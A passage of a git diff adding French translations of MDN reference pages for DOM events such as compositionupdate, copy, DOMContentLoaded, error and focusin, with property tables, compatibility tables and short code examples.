+<p>Gecko déclenche l'événement lorsque IME commence la composition, et quelques plateformes n'ont pas d'API pour annuler la composition une fois commencée. De plus, Gecko ne peut pas savoir si un événement clavier va commencé la composition ou non jusqu'à ce que IME ne la commence réellement. A cause de celà, {{domxref("event.preventDefault()")}} ne fonctionne pas sur l'événement <code><strong>compositionstart</strong> avec Gecko.</code></p>
+
+<p>Les éditeurs de Gecko (comme &lt;input type="text"&gt; <code>&lt;div contenteditable/&gt; et designMode) commence la composition après la phase de propagation de <strong>compositionstart</strong>. Donc, au moment où votre gestionnaire de <strong>compositionstart</strong> est appelé, aucun contenu n'a été modifié.</code></p>
+
+<p>[3] La valeur de data est toujours vide.</p>
+
+<h2 id="Evénements_liés">Evénements liés</h2>
+
+<ul>
+ <li>{{Event("compositionend")}}</li>
+ <li>{{Event("compositionupdate")}}</li>
+</ul>
diff --git a/files/fr/web/events/compositionupdate/index.html b/files/fr/web/events/compositionupdate/index.html
new file mode 100644
index 0000000000..ba22586181
--- /dev/null
+++ b/files/fr/web/events/compositionupdate/index.html
@@ -0,0 +1,137 @@
+---
+title: compositionupdate
+slug: Web/Events/compositionupdate
+translation_of: Web/API/Element/compositionupdate_event
+---
+<p>L'événement <strong>compositionupdate</strong> est déclenché lorsqu'un caractère est ajouté à un passage de texte en train d'être composé (<code>démarre avec des caractères spéciaux qui nécessitent une sequence de touches et d'autres entrées telles que la reconnaissance vocale ou la suggestion de mots du mobile).</code></p>
+
+<h2 id="Informations_générales">Informations générales</h2>
+
+<dl>
+ <dt style="float: left; text-align: right; width: 120px;">Interface</dt>
+ <dd style="margin: 0 0 0 120px;">{{domxref("TouchEvent")}}</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Propagation</dt>
+ <dd style="margin: 0 0 0 120px;">Oui</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Annulable</dt>
+ <dd style="margin: 0 0 0 120px;">Non</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Cible</dt>
+ <dd style="margin: 0 0 0 120px;">{{domxref("Element")}}</dd>
+</dl>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Property</th>
+   <th scope="col">Type</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>target</code> {{ReadOnlyInline}}</td>
+   <td>{{domxref("EventTarget")}}</td>
+   <td>Elément ayant le focus qui traite la composition. Nul si non-accessible.</td>
+  </tr>
+  <tr>
+   <td><code>type</code> {{ReadOnlyInline}}</td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>Le type de l'événement.</td>
+  </tr>
+  <tr>
+   <td><code>bubbles</code> {{ReadOnlyInline}}</td>
+   <td><code>boolean</code></td>
+   <td>Est-ce qu'il se propage?</td>
+  </tr>
+  <tr>
+   <td><code>cancelable</code> {{ReadOnlyInline}}</td>
+   <td><code>boolean</code></td>
+   <td>Peut-il être annulé?</td>
+  </tr>
+  <tr>
+   <td><code>view</code> {{ReadOnlyInline}}</td>
+   <td>{{domxref("WindowProxy")}}</td>
+   <td>{{domxref("Document.defaultView")}} (fenêtre du document).</td>
+  </tr>
+  <tr>
+   <td><code>detail</code> {{ReadOnlyInline}}</td>
+   <td><code>long</code> (<code>float</code>)</td>
+   <td>0.</td>
+  </tr>
+  <tr>
+   <td><code>data </code>{{ReadOnlyInline}}</td>
+   <td>{{domxref("DOMString")}} (string)</td>
+   <td>La chaîne de caractères originale éditée ou une chaîne vide.</td>
+  </tr>
+  <tr>
+   <td><code>locale </code>{{ReadOnlyInline}}</td>
+   <td>{{domxref("DOMString")}} (string)</td>
+   <td>Le code de la langue pour l'événement de composition si disponible; Sinon une chaîne vide.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilités_navigateur">Compatibilités navigateur</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Navigateur</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>{{CompatVersionUnknown}}<sup>[1]</sup></td>
+   <td>{{CompatGeckoDesktop("9.0")}}<sup>[2]</sup></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Navigateur</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Suport basique</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("9.0")}}<sup>[2]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] N'est pas<span id="result_box" lang="fr"><span> distribué immédiatement après l'événement <code>compositionstart</code>. </span></span></p>
+
+<p>[2] <code>Les événements <strong>compositionupdate</strong> sont déclenchés avant </code><span id="result_box" lang="fr"><span>avant que le contenu éditable ne soit réellement modifié; C'est-à-dire que la valeur d'un élément éditable n'a pas encore été modifiée lorsque les gestionnaires de </span></span><strong><code>compositionupdate</code></strong><span lang="fr"><span> sont appelés. A partir de Gecko 12.0 </span></span>{{geckoRelease("12.0")}}, les événements <code>input</code> sont déclenchés durant l'édition, après que le contenu de l'élément a été modifié. <span id="result_box" lang="fr"><span>Cela permet d'obtenir le contenu mis à jour pendant que l'édition est en cours.</span></span></p>
+
+<p>Gecko ne supporte pas l'attribut <em>local</em>e pour les événements approuvés pour l'instant. Cependant, cette valeur peut être définie via <code><a href="/fr/docs/Web/API/CompositionEvent#initCompositionEvent()">initCompositionEvent()</a> à la création d'événements non-approuvés.</code></p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{Event("compositionstart")}}</li>
+ <li>{{Event("compositionupdate")}}</li>
+ <li>{{Event("compositionend")}}</li>
+</ul>
diff --git a/files/fr/web/events/copy/index.html b/files/fr/web/events/copy/index.html
new file mode 100644
index 0000000000..d3a9ee8224
--- /dev/null
+++ b/files/fr/web/events/copy/index.html
@@ -0,0 +1,148 @@
+---
+title: copy
+slug: Web/Events/copy
+translation_of: Web/API/Element/copy_event
+---
+<p>L'événement <strong>copy</strong> est déclenché lorsque l'utilisateur initie une copie par le biais de l'interface du navigateur (par exemple, Ctrl/Cmd+C ou "copier" du menu contextuel) et en réponse d'un appel de {{domxref("Document.execCommand", "document.execCommand('copy')")}} autorisé.</p>
+
+<h2 id="Informations_générales">Informations générales</h2>
+
+<dl>
+ <dt style="float: left; text-align: right; width: 120px;">Spécification</dt>
+ <dd style="margin: 0 0 0 120px;"><a class="external" href="https://www.w3.org/TR/clipboard-apis/#the-copy-action">Clipboard</a></dd>
+ <dt style="float: left; text-align: right; width: 120px;">Interface</dt>
+ <dd style="margin: 0 0 0 120px;">{{domxref("ClipboardEvent")}}</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Propagation</dt>
+ <dd style="margin: 0 0 0 120px;">Oui</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Annulable</dt>
+ <dd style="margin: 0 0 0 120px;">Oui</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Cible</dt>
+ <dd style="margin: 0 0 0 120px;">{{domxref("Element")}}: L'élément ayant le focus (pour les éléments {{domxref("HTMLElement.contentEditable", "contentEditable")}} - l'élément contenant le début de la sélection), ou l'élément {{HTMLElement("body")}}</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Action par défaut</dt>
+ <dd style="margin: 0 0 0 120px;">Voir ce-dessous</dd>
+</dl>
+
+<p>Un gestionnaire de cet événement peut modifier l'objet {{domxref("ClipboardEvent.clipboardData")}} en appellant {{domxref("DataTransfer.setData", "setData(format, data)")}}:</p>
+
+<pre class="javascript">document.addEventListener('copy', function(e){
+    e.clipboardData.setData('text/plain', 'Hello, world!');
+    e.clipboardData.setData('text/html', '&lt;b&gt;Hello, world!&lt;/b&gt;');
+    e.preventDefault(); // We want our data, not data from any selection, to be written to the clipboard
+});</pre>
+
+<p>Un gestionnaire de cet événement ne peut pas lire les données du presse-papiers en utilisant {{domxref("DataTransfer.getData", "clipboardData.getData()")}}.</p>
+
+<p>L'action par défaut de l'événement dépend de la source de celui-ci et du comportement du gestionnaire:</p>
+
+<ul>
+ <li>Un événement de copie <a href="/fr/docs/Web/Guide/Events/Creating_and_triggering_events">synthétique</a> n'a pas d'action par défaut;</li>
+ <li>Si l'événement n'a pas été annulé: Copie de la sélection (s'il y a) dans le presse-papiers;</li>
+ <li>Si le gestionnaire a annulé l'événement et appelé setData(): Copie le contenu de <em>clipboardData</em> de {{domxref("ClipboardEvent")}};</li>
+ <li>Si le gestionnaire a annulé l'événement sans appelé setData(): Aucune action.</li>
+</ul>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Property</th>
+   <th scope="col">Type</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>target</code> {{readonlyInline}}</td>
+   <td>{{domxref("EventTarget")}}</td>
+   <td>The event target (the topmost target in the DOM tree).</td>
+  </tr>
+  <tr>
+   <td><code>type</code> {{readonlyInline}}</td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>The type of event.</td>
+  </tr>
+  <tr>
+   <td><code>bubbles</code> {{readonlyInline}}</td>
+   <td>{{jsxref("Boolean")}}</td>
+   <td>Whether the event normally bubbles or not.</td>
+  </tr>
+  <tr>
+   <td><code>cancelable</code> {{readonlyInline}}</td>
+   <td>{{jsxref("Boolean")}}</td>
+   <td>Whether the event is cancellable or not.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilités_navigateur">Compatibilités navigateur</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Navigateur</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+  <tr>
+   <td><code>clipboardData</code></td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatGeckoDesktop(22) }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Navigateur</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+  <tr>
+   <td><code>clipboardData</code></td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatGeckoMobile(22) }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Evénements_liés">Evénements liés</h2>
+
+<ul>
+ <li>{{event("copy")}}, {{event("cut")}}, {{event("paste")}}</li>
+</ul>
diff --git a/files/fr/web/events/domcontentloaded/index.html b/files/fr/web/events/domcontentloaded/index.html
new file mode 100644
index 0000000000..ce6a198e3e
--- /dev/null
+++ b/files/fr/web/events/domcontentloaded/index.html
@@ -0,0 +1,84 @@
+---
+title: DOMContentLoaded
+slug: Web/Events/DOMContentLoaded
+translation_of: Web/API/Window/DOMContentLoaded_event
+---
+<div>{{APIRef}}</div>
+
+<p>L’évènement <strong><code>DOMContentLoaded</code></strong> est émis lorsque le document HTML initial a été complètement chargé et analysé, sans attendre que les feuilles de style, images et sous-documents aient terminé de charger.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Bouillonne</th>
+   <td>Oui</td>
+  </tr>
+  <tr>
+   <th scope="row">Annulable</th>
+   <td>Oui (bien que spécifié comme évènement simple non annulable)</td>
+  </tr>
+  <tr>
+   <th scope="row">Interface</th>
+   <td>{{domxref("Event")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Propriété de gestion de l’évènement</th>
+   <td>Aucune</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>La cible originale pour cet évènement est le {{domxref("Document")}} qui a terminé de charger. Vous pouvez observer cet évènement sur l’interface <code>Window</code> pour le gérer dans les phases de capture ou de bouillonnement. Pour plus de détails, veuillez consulter la page de l’évènement {{domxref("Document/DOMContentLoaded_event", "Document: DOMContent​Loaded event")}}.</p>
+
+<p>L’évènement <a href="/fr/docs/Web/Events/load" title="/fr/docs/Mozilla_event_reference/load"><code>load</code></a>, très différent, doit être utilisé uniquement pour détecter qu’une page est entièrement chargée. C’est une erreur répandue d’utiliser <a href="/fr/docs/Web/Events/load" title="/fr/docs/Mozilla_event_reference/load"> <code>load</code> </a>là où <code>DOMContentLoaded</code> serait beaucoup plus approprié.</p>
+
+<div class="blockIndicator note">
+<p><strong>Note :</strong> Le JavaScript synchrone interromp l’analyse du DOM.</p>
+</div>
+
+<div class="blockIndicator note">
+<p><strong>Note :</strong> Il existe également de nombreuses bibliothèques indépendantes à usage général qui offrent des méthodes multi-navigateur pour détecter quand le DOM est prêt.</p>
+</div>
+
+<h2 id="Accélérer">Accélérer</h2>
+
+<p>Si vous voulez que le DOM soit analysé aussi rapidement que possible après que l’utilisateur ou l’utilisatrice a demandé la page, vous pouvez <a href="/fr/docs/Web/API/XMLHttpRequest/Synchronous_and_Asynchronous_Requests" title="/fr/docs/Web/API/XMLHttpRequest/Synchronous_and_Asynchronous_Requests">rendre votre JavaScript asynchrone</a> et <a href="https://developers.google.com/speed/docs/insights/OptimizeCSSDelivery">optimiser le chargement des feuilles de style</a>. Ces dernières, sans optimisation, ralentissent le chargement de la page parce qu’elles sont chargées en parallèle, et « subtilisent » de la bande passante au document html principal.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utilisation_basique">Utilisation basique</h3>
+
+<pre class="brush: js">window.addEventListener("DOMContentLoaded", (event) =&gt; {
+    console.log("DOM entièrement chargé et analysé");
+  });
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'indices.html#event-domcontentloaded')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">
+<p>La table de compatibilité sur cette page est générée à partir de données structurées. Si vous souhaitez contribuer aux données, veuillez consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et nous envoyer une <em>pull request.</em></p>
+</div>
+
+<p>{{Compat("api.Window.DOMContentLoaded_event")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Évènements associés : {{event("load")}}, {{event("readystatechange")}}, {{event("beforeunload")}}, {{event("unload")}}</li>
+ <li>Cet évènement sur les cibles {{domxref("Document")}} : {{domxref("Document/DOMContentLoaded_event", "Document: DOMContent​Loaded event")}}</li>
+</ul>
diff --git a/files/fr/web/events/downloading/index.html b/files/fr/web/events/downloading/index.html
new file mode 100644
index 0000000000..bcb9af0622
--- /dev/null
+++ b/files/fr/web/events/downloading/index.html
@@ -0,0 +1,74 @@
+---
+title: downloading
+slug: Web/Events/downloading
+translation_of: Archive/Events/downloading
+---
+<p>L'événement <strong>downloading</strong> est déclenché après la vérification de la mise à jour du cache d'application, si le user-agent a trouvé une mise à jour et la récupère ou  télécharge les resources répertoriées par le manifeste du cache pour la première fois.</p>
+
+<h2 id="Informations_générales">Informations générales</h2>
+
+<dl>
+ <dt style="float: left; text-align: right; width: 120px;">Spécification</dt>
+ <dd style="margin: 0 0 0 120px;"><a class="external" href="https://html.spec.whatwg.org/multipage/browsers.html#offline">Offline</a></dd>
+ <dt style="float: left; text-align: right; width: 120px;">Interface</dt>
+ <dd style="margin: 0 0 0 120px;">Event</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Ppropagation</dt>
+ <dd style="margin: 0 0 0 120px;">Non</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Annulable</dt>
+ <dd style="margin: 0 0 0 120px;">Non</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Cible</dt>
+ <dd style="margin: 0 0 0 120px;">applicationCache</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Action par défaut</dt>
+ <dd style="margin: 0 0 0 120px;">Aucune</dd>
+</dl>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">Property</td>
+   <td class="header">Type</td>
+   <td class="header">Description</td>
+  </tr>
+  <tr>
+   <td><code>target {{ReadOnlyInline}}</code></td>
+   <td>EventTarget (DOM element)</td>
+   <td>La cible de l'événement ( La cible la plus haute dans l'arbre DOM).</td>
+  </tr>
+  <tr>
+   <td><code>type {{ReadOnlyInline}}</code></td>
+   <td>string</td>
+   <td>Le type d'événement.</td>
+  </tr>
+  <tr>
+   <td><code>canBubble {{ReadOnlyInline}}</code></td>
+   <td>boolean</td>
+   <td>Est-ce que l'événement se propage?</td>
+  </tr>
+  <tr>
+   <td><code>cancelable {{ReadOnlyInline}}</code></td>
+   <td>boolean</td>
+   <td>Est-il possible d'annuler l'événement.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Evénements_liés">Evénements liés</h2>
+
+<ul>
+ <li>{{Event("checking")}}</li>
+ <li>{{Event("noupdate")}}</li>
+ <li>{{Event("downloading")}}</li>
+ <li>{{Event("progress_(appcache_event)", "progress")}}</li>
+ <li>{{Event("cached")}}</li>
+ <li>{{Event("updateready")}}</li>
+ <li>{{Event("obsolete")}}</li>
+ <li>{{Event("error_(appcache_event)", "error")}}</li>
+</ul>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Offline_resources_in_Firefox">Utilisation d'Application Cache</a></li>
+</ul>
diff --git a/files/fr/web/events/ended_(web_audio)/index.html b/files/fr/web/events/ended_(web_audio)/index.html
new file mode 100644
index 0000000000..453ebd0580
--- /dev/null
+++ b/files/fr/web/events/ended_(web_audio)/index.html
@@ -0,0 +1,82 @@
+---
+title: ended (Web Audio)
+slug: Web/Events/ended_(Web_Audio)
+translation_of: Web/API/HTMLMediaElement/ended_event
+---
+<div>
+<p>L'événement <strong>ended </strong>est déclenché lorsque la lecture s'est arrêté parce que la fin du média a été atteinte.</p>
+</div>
+
+<h2 id="Informations_générales">Informations générales</h2>
+
+<dl>
+ <dt style="float: left; text-align: right; width: 120px;">Spécification</dt>
+ <dd style="margin: 0 0 0 120px;">{{SpecName("Web Audio API")}}</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Interface</dt>
+ <dd style="margin: 0 0 0 120px;">{{domxref("Event")}}</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Propagation</dt>
+ <dd style="margin: 0 0 0 120px;">Non</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Annulable</dt>
+ <dd style="margin: 0 0 0 120px;">Non</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Cible</dt>
+ <dd style="margin: 0 0 0 120px;">{{domxref("AudioBufferSourceNode")}}</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Action par défaut</dt>
+ <dd style="margin: 0 0 0 120px;">Aucune</dd>
+</dl>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Property</th>
+   <th scope="col">Type</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>target</code> {{readonlyInline}}</td>
+   <td>{{domxref("EventTarget")}}</td>
+   <td>The event target (the topmost target in the DOM tree).</td>
+  </tr>
+  <tr>
+   <td><code>type</code> {{readonlyInline}}</td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>The type of event.</td>
+  </tr>
+  <tr>
+   <td><code>bubbles</code> {{readonlyInline}}</td>
+   <td>{{jsxref("Boolean")}}</td>
+   <td>Whether the event normally bubbles or not.</td>
+  </tr>
+  <tr>
+   <td><code>cancelable</code> {{readonlyInline}}</td>
+   <td>{{jsxref("Boolean")}}</td>
+   <td>Whether the event is cancellable or not.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Evénements_liés">Evénements liés</h2>
+
+<ul>
+ <li>{{event("playing")}}</li>
+ <li>{{event("waiting")}}</li>
+ <li>{{event("seeking")}}</li>
+ <li>{{event("seeked")}}</li>
+ <li>{{event("ended")}}</li>
+ <li>{{event("loadedmetadata")}}</li>
+ <li>{{event("loadeddata")}}</li>
+ <li>{{event("canplay")}}</li>
+ <li>{{event("canplaythrough")}}</li>
+ <li>{{event("durationchange")}}</li>
+ <li>{{event("timeupdate")}}</li>
+ <li>{{event("play")}}</li>
+ <li>{{event("pause")}}</li>
+ <li>{{event("ratechange")}}</li>
+ <li>{{event("volumechange")}}</li>
+ <li>{{event("suspend")}}</li>
+ <li>{{event("emptied")}}</li>
+ <li>{{event("stalled")}}</li>
+</ul>
diff --git a/files/fr/web/events/error/index.html b/files/fr/web/events/error/index.html
new file mode 100644
index 0000000000..5ab9de5a8c
--- /dev/null
+++ b/files/fr/web/events/error/index.html
@@ -0,0 +1,93 @@
+---
+title: error
+slug: Web/Events/error
+tags:
+  - DOM
+  - Erreurs
+  - Gestionnaire d'erreurs
+  - Interface
+  - évènements
+translation_of: Web/API/Element/error_event
+---
+<p>L'événement <strong>error</strong> <em>(erreur)</em> est déclenché lorsqu'une ressource n'a pas pu être chargée <span id="result_box" lang="fr"><span>;</span> <span>les circonstances exactes varient, ce nom étant utilisé par une grande variété d'API.</span></span></p>
+
+<h2 id="Informations_générales">Informations générales</h2>
+
+<dl>
+ <dt style="float: left; text-align: right; width: 120px;">Spécification</dt>
+ <dd style="margin: 0 0 0 120px;"><a class="external" href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-error">DOM L3</a></dd>
+ <dt style="float: left; text-align: right; width: 120px;">Interface</dt>
+ <dd style="margin: 0 0 0 120px;">{{domxref("UIEvent")}} si généré depuis l'interface utilisateur,<br>
+ {{domxref("MediaRecorderErrorEvent")}} si généré par <a href="https://developer.mozilla.org/en-US/docs/Web/API/MediaStream_Recording_API">MediaStream Recording API</a>  et<br>
+ sinon {{domxref("Event")}}.</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Propagation</dt>
+ <dd style="margin: 0 0 0 120px;">Non</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Annulable</dt>
+ <dd style="margin: 0 0 0 120px;">Non</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Cible</dt>
+ <dd style="margin: 0 0 0 120px;">{{domxref("Element")}}</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Action par défaut</dt>
+ <dd style="margin: 0 0 0 120px;">Aucune</dd>
+ <dd style="margin: 0 0 0 120px;"> </dd>
+</dl>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Property</th>
+   <th scope="col">Type</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>target</code> {{readonlyInline}}</td>
+   <td><a href="/en-US/docs/Web/API/EventTarget" title="EventTarget is an interface implemented by objects that can receive events and may have listeners for them."><code>EventTarget</code></a></td>
+   <td>The event target (the topmost target in the DOM tree).</td>
+  </tr>
+  <tr>
+   <td><code>type</code> {{readonlyInline}}</td>
+   <td><a href="/en-US/docs/Web/API/DOMString" title="DOMString is a UTF-16 String. As JavaScript already uses such strings, DOMString is mapped directly to a String."><code>DOMString</code></a></td>
+   <td>The type of event.</td>
+  </tr>
+  <tr>
+   <td><code>bubbles</code> {{readonlyInline}}</td>
+   <td><a href="/en-US/docs/Web/API/Boolean" title="The Boolean object is an object wrapper for a boolean value."><code>Boolean</code></a></td>
+   <td>Whether the event normally bubbles or not.</td>
+  </tr>
+  <tr>
+   <td><code>cancelable</code> {{readonlyInline}}</td>
+   <td><a href="/en-US/docs/Web/API/Boolean" title="The Boolean object is an object wrapper for a boolean value."><code>Boolean</code></a></td>
+   <td>Whether the event is cancellable or not.</td>
+  </tr>
+  <tr>
+   <td><code>view</code> {{readonlyInline}}</td>
+   <td><a class="new" href="/en-US/docs/Web/API/WindowProxy" rel="nofollow" title="The documentation about this has not yet been written; please consider contributing!"><code>WindowProxy</code></a></td>
+   <td><a href="/en-US/docs/Web/API/Document/defaultView" title="In browsers, document.defaultView returns the window object associated with a document, or null if none is available."><code>document.defaultView</code></a> (<code>window</code> of the document)</td>
+  </tr>
+  <tr>
+   <td><code>detail</code> {{readonlyInline}}</td>
+   <td><code>long</code> (<code>float</code>)</td>
+   <td>0.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Pour_des_évènements_MediaStream_Recording">Pour des évènements MediaStream Recording</h3>
+
+<p>Ces évènements sont d'un type {{domxref("MediaRecorderErrorEvent")}}.</p>
+
+<p>{{page("/en-US/docs/Web/API/MediaRecorderErrorEvent", "Properties")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<dl>
+ <dt>{{domxref("GlobalEventHandlers.onerror")}}</dt>
+ <dd>Évènements envoyés à {{domxref("Window.onerror")}} et à {{domxref("Element.onerror")}}</dd>
+ <dt>{{domxref("HTMLMediaElement.onerror")}}</dt>
+ <dd>Évènements envoyés à {{domxref("HTMLMediaElement")}} incluant {{HTMLElement("audio")}}   et {{HTMLElement("video")}} .</dd>
+ <dt>{{domxref("MediaRecorder.onerror")}}</dt>
+ <dd>Évènements envoyés à {{domxref("MediaRecorder.onerror")}} , d'un type {{domxref("MediaRecorderErrorEvent")}}</dd>
+</dl>
diff --git a/files/fr/web/events/focusin/index.html b/files/fr/web/events/focusin/index.html
new file mode 100644
index 0000000000..79a9e2af63
--- /dev/null
+++ b/files/fr/web/events/focusin/index.html
@@ -0,0 +1,123 @@
+---
+title: focusin
+slug: Web/Events/focusin
+translation_of: Web/API/Element/focusin_event
+---
+<p>L'événement <strong>focusin</strong> est déclenché lorsqu'un élément est sur le point de recevoir le focus. La principale différence avec <a href="https://developer.mozilla.org/fr/docs/Mozilla_event_reference/focus_%28event%29"><code>focus</code></a> est que <strong>focusin</strong> se propage.</p>
+
+<h2 id="Informations_générales">Informations générales</h2>
+
+<dl>
+ <dt style="float: left; text-align: right; width: 120px;">Spécification</dt>
+ <dd style="margin: 0 0 0 120px;"><a class="external" href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-focusIn">DOM L3</a></dd>
+ <dt style="float: left; text-align: right; width: 120px;">Interface</dt>
+ <dd style="margin: 0 0 0 120px;">{{domxref("FocusEvent")}}</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Propagation</dt>
+ <dd style="margin: 0 0 0 120px;">Oui</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Annulable</dt>
+ <dd style="margin: 0 0 0 120px;">Non</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Cible</dt>
+ <dd style="margin: 0 0 0 120px;">{{domxref("Element")}}</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Action par défaut</dt>
+ <dd style="margin: 0 0 0 120px;">Aucune</dd>
+</dl>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Property</th>
+   <th scope="col">Type</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>target</code> {{readonlyInline}}</td>
+   <td>{{domxref("EventTarget")}}</td>
+   <td>Event target losing focus.</td>
+  </tr>
+  <tr>
+   <td><code>type</code> {{readonlyInline}}</td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>The type of event.</td>
+  </tr>
+  <tr>
+   <td><code>bubbles</code> {{readonlyInline}}</td>
+   <td>{{jsxref("Boolean")}}</td>
+   <td>Whether the event normally bubbles or not.</td>
+  </tr>
+  <tr>
+   <td><code>cancelable</code> {{readonlyInline}}</td>
+   <td>{{jsxref("Boolean")}}</td>
+   <td>Whether the event is cancellable or not.</td>
+  </tr>
+  <tr>
+   <td><code>relatedTarget</code> {{readonlyInline}}</td>
+   <td>{{domxref("EventTarget")}} (DOM element)</td>
+   <td>Event target receiving focus.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_navigateur">Compatibilité navigateur</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
